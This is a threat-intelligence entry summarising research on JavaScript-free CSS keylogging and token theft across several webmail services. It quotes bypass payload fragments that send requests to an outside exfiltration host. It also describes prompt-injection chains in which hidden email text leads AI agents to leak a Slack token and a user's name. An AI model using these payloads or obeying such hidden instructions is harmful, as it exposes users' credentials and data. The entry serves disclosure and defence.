CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft Attacks Against Gmail, Outlook, Yahoo Mail, AOL Mail, Fastmail, and ProtonMail — Threadlinqs Intelligence
As of 2026-08-09, CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft Attacks Against Gmail, Outlook, Yahoo Mail, AOL Mail, Fastmail, and ProtonMail is a high-severity vulnerability threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 6 indicators of compromise.
Threat ID: TL-2026-1956 · Severity: HIGH · Status: ACTIVE · Category: VULNERABILITY
PortSwigger researcher Gareth Heyes' Black Hat USA 2026 talk 'CSS: The Bomb Inside Your Inbox' demonstrates that CSS alone -- no JavaScript -- can keylog password-disguised dropdowns, brute-force
On August 6, 2026, PortSwigger researcher Gareth Heyes published "CSS: The Bomb Inside Your Inbox" (presented at Black Hat USA 2026) demonstrating that HTML-sanitized webmail clients remain exploitable through CSS mechanisms alone, without any JavaScript execution. The research chains together CSS mutation (hex-escape sequences that decode during CSSOM parsing, e.g. `@keyframes foo\7d\2a` becoming `@keyframes foo } *`), attribute-selector brute-forcing, and pseudo-element/pseudo-class abuse (`:before`, `:after`, `:has()`, `:checked`) to build a real-time, JavaScript-free keylogger and data-exfiltration primitive that fires a unique background-image (or image-set()) HTTP request to an attacker-controlled server for each character typed or selected.
Against Outlook, Heyes disguised a `<select>` dropdown as a password field using `-webkit-text-security:disc`, exploited a sanitizer parser-confusion bug (`@media --narrow-window;/*"*/.x_x{position:fixed}`) to break CSS containment, and abused Outlook's `<label for="...">` element to hijack arbitrary UI controls by ID (e.g. `RibbonModeToggle`) from within an email body -- reportedly still unresolved at publication. Against Firefox specifically, moving the disguised select element off-screen resets the browser's ~1-second key-repeat timer, letting the technique capture keystrokes in near real time and, in one chain, spoof a Microsoft sign-in screen to capture a recipient's password. Against Gmail, a `background:image-set(var(--x,'//02.rs'))` fallback bypasses the image-proxy sanitizer and forces an external request even when the primary URL is stripped -- also unpatched at publication. Fastmail's own allowlisted image-proxy domain was abused via an escaped-backslash payload (`content:url(/\5c/user.fm/uid.fastmail.com/track)`) to leak keystroke data visible in Fastmail's own access logs, alongside two separate CSS-mutation ('CSS hotwiring') bugs -- all three fixed, with Fastmail paying two $1,000 bounties. ProtonMail's image-proxy sanitizer was bypassed via ambiguous CSS comment syntax (`background:/*Url( Url(...)*url(//02.rs)`); Proton disputed the bug's classification before silently patching it months later.
Against Yahoo Mail and AOL Mail, Heyes found that Firefox retains inline CSS styling on pasted clipboard content for a brief window before sanitization runs (a race condition), which he weaponized -- using Hackvertor's "Copy as HTML" feature to build a malicious clipboard blob -- to steal a 12-character hex Medium.com login token embedded in a pasted callback URL. Nested CSS attribute selectors (`[attr^="start"]{&[attr*="middle"]{...}}`) brute-forced the token's first and last five characters via background-image requests, with server-side overlap logic recovering the middle two characters, enabling full account takeover without any script execution. A related font-metrics side channel used `@font-face` with `unicode-range` and `descent-override` to selectively enlarge individual digits, allowing digit-frequency counting via rendered height.
The research extends beyond human victims to AI email agents. Chaining the Gmail image-set() bypass with indirect prompt injection, a crafted email caused Anthropic's Claude Cowork (Gmail connector) to retrieve a Slack authentication token and place it into an HTML draft for exfiltration. A separate chain against OpenAI's Atlas AI browser hid malicious instructions inside a `:before` pseudo-element with `opacity:0.00000001` -- invisible to a human reader but present in the DOM text the AI model processes -- causing Atlas, when asked to "translate" the email, to follow the hidden instructions and exfiltrate the victim's name letter-by-letter via sequential URL loads to an attacker domain. No CVE or CVSS score has been assigned to any of these findings; PortSwigger has published proof-of-concept code for the techniques on GitHub.
Weaknesses (CWE)
CWE-451, CWE-116, CWE-441, CWE-1427
Target sectors: technology, government administration, finance, health, consumer
Target regions: Global
Timeline
- Fastmail patches two CSS mutation ('CSS hotwiring') bugs reported by Gareth Heyes, paying two $1,000 bounties, ahead of public disclosure.
- ProtonMail's CSS image-proxy sanitizer bypass, previously disputed by Proton over bug classification, is confirmed silently patched months after the original report when retested before publication.
- PortSwigger researcher Gareth Heyes publishes 'CSS: The Bomb Inside Your Inbox' at 22:00 UTC, presented at Black Hat USA 2026, detailing CSS-only keylogging and exfiltration chains across six webmail platforms plus AI-agent prompt-injection chains against Claude Cowork and OpenAI Atlas.
- PortSwigger publishes proof-of-concept code for the CSS attack techniques to a public GitHub repository alongside the research write-up.
- Outlook's label-hijacking / select-menu keylogging chain is confirmed still exploitable as of the publication date, with no fix issued by Microsoft.
- Gmail's image-set() image-proxy sanitizer bypass is confirmed still exploitable as of the publication date, with no fix issued by Google.
- The Hacker News and Security Affairs report on the research, highlighting the indirect prompt-injection risk to AI email agents (Claude Cowork, OpenAI Atlas) alongside the core webmail keylogging findings.
- Independent commentary (mangodeveloper.com) contrasts vendors that acknowledged and fixed reported bugs against vendors reported to have dismissed the research publicly before quietly patching months later without crediting the disclosure.
- Cyber Security News republishes coverage of the CSS Bomb research, the article that seeded this threat entry's hunt phase.
Detections & IOCs
As of 2026-09-06, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 6 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, HIGH, threat intelligence, cybersecurity, T1566, T1204, T1583.001, T1528, T1539, T1056, T1056.001, T1027, T1071.001, AML.T0051
